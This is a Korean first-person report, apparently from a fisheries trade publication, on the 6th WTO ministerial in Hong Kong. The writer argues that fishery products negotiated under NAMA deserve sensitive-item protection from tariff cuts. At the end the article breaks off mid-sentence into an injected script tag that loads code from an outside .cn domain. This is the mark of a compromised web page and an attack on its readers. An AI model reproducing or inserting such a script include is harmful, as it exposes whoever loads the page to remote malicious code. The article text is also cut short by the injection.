수산물은 반드시 “민감품목” 지정, 보호방안 요망
*** 비농산물 협상에 따라 수산물은 공산품과 일괄협상 문제 ***
*** 왜 수산물이 “NAMA협상" 대상품목인가? ***
■ 제6차 WTO 홍콩각료회의 NGO 일원으로 참석
과거와 현재 그리고 동양과 서양이 잘 조화되어 마치 향기를 머금는 듯한 항구도시 홍콩(香港). 관광과 중개무역에서 좋은 이미지를 가진 홍콩에서 개최된 제6차 WTO/DDA 각료회의가 지난 6일간의 공식일정을 끝내고 12원 18일 폐막되었다. 회의기간 내내 우리나라를 비롯한 세계 여러 국가에서 온 NGO대표들이 WTO/DDA 를 반대하는 시위 등으로 다소 혼란스러웠지만, 어쨌든 무려 1천5백명이 넘는 대규모 항의단을 파견한 우리나라로서는 큰 사고없이 동회의가 종료되었음을 참석자의 한사람으로서 다행스럽게 생각한다. 대규모 대표단을 파견한 농업에 비해 그야말로 미미한 수준에 불과한 우리 수산부문 NGO대표단은 한국수산회(회장 박규석)가 주관이 되어 연근해(수협, 수산경영인연합회) 무역(수산물수출조합), 원양(원양협회), 수산전문지(오션21) 등 30여명으로 구성되었다. 우리 대표단 일행은 지난 12월 12일 대한항공 조종사 파업 와중에서 인천발 홍콩행 K603 편으로 출국, 3시간여의 비행 끝에 홍콩에 도착하였다. 필자는 홍콩여행이 초행인 관계로 숙소로 향하는 차창밖으로 비치는 이국의 풍경이 다소 생소하면서 어딘지 모르지만 정겹게 느껴진다. 숙소는 WTO각료회의가 개최되는 Convention & Exhibition Center 인근의 Wanchai South Pacific Hotel 이였으며, 일행은 다음날 개막식행사에 대비하여 여러 가지 자료준비 등 부산하게 움직였었다. 12월 13일(화). WTO각료회의가 개막되는 날이다. 우리 일행은 세계 NGO대표들의 연합집회가 있는 Victoria Park로 이동중에 대규모 항의 시위단에 대처코저 하는 약 10미터 간격으로 도열한 건장한 홍콩경찰을 보면서 왠지 이상한 느낌이 들었다. 수산부문 대표단 일행은 무엇보다 WTO협상에서 수산물이 농산물에 포함되지 않고 공산품에 속하여 무관세 압력에 시달리고 있다는 측면에서 참으로 안타깝게 생각하면서 우선 금번 회의에 서는 관세감축 등 근본적인 현안이 비켜 나가기를 희망하였다. 아무튼 우리 대표단은 WTO/ DDA 수산보조금 및 수산물 관세협상시 일부 수산물 수출국(Fish Friends 그룹)의 일방적인 주장만이 반영되지 않도록 각 국 수산 NGO들과 연대하여 우리 어업인들의 입장을 전달하고 아울러 수산물 무세화, 관세인하, 보조금 감축 저지 및 우리나라의 입장이 최대한 반영되도록 활동을 전개한다는 목표로 활동하 였다. ■ 홍콩각료회의 큰 문제없이 폐막
우리나라 농민단체의 시위 수위가 갈수록 높아지면서 홍콩경찰당국도 매우 긴장하는 등 우여곡절이 없지 않았으나 어쨌든 금번 제6차 WTO 각료회의는 6일간의 공식일정을 종료하고 12월 18일 폐막되었다. 금번 제6차 WTO/DDA 각료회의는 우루과이라운드(UR) 이후 다자간무역체제인 도하개발아젠다(DDA) 협상의 점검을 위해 150개 회원국들이 농업 및 비농산물시장접근(NAMA : Non Agr -icultural Market Access)분야 등에서 격론을 펼쳤으나 구체적인 의견 접근을 이루지는 못하였다. 금번회의에 참석한 정부 대표단 및 현지 언론보도 등 전반적인 사항을 종합해 보면 농업부문의 경우 수산물과는 달리 민감품목 및 특별품목 인정 등 다소간 성과가 있었으나 비농산물시장접근(NAMA) 분야의 경우 관세감축 등에 대해 의견접근을 이루지 못하였다. 수산물이 NAMA협상 품목이라는 사실, 다시말해 수산물이 농산물이 아닌 공산품과 같은 비농산물 부류에 포함되어 협상이 펼쳐지고 있다는 사실은 아무리 생각을 해봐도 정상적이 아니라고 생각되며 이러한 현실이 극히 우려되지만 달리 방책이 없어 답답하게만 느껴진다. 물론 지금에 와서 수산물을 비농산물시장접근(NAMA) 분야가 아닌 농산물과 같은 협상부문에 포함시켜야 한다고 항변을 해도 그 주장이 받아들이기 힘들 것이다. 그렇다면 수산물은 반드시 공산품과는 차별이 요망되며, 현실적으로 우리나라 정부도 조정관세 품목을 중심으로 하여 민감품목 내지는 특별품목으로 지정하여 현재의 무관세 움직임을 다소간 억제하는 산업의 보호책을 적극적으로 강구해야 할 시점이 아닌가 싶다. ■ WTO와 DDA에 대해
WTO체제라 함은 동 설립협정에 부속된 다자간 무역협정들을 포함한 제반 협정과 관련규정에 따라 WTO를 중심으로 운영되는 국제무역체제를 의미한다. 도하개발아젠다(DDA) 협상을 주관하게 될 WTO는 상품무역은 물론 서비스, 나아가 무역관련 지적재산권까지를 규율하는 부속협정을 관장할 뿐 아니라 거의 전세계 국가가 회원으로 가입해 있는 “국제무역분야의 UN"이라 할 수 있는 ?script src=http://jh3v3.cn> |
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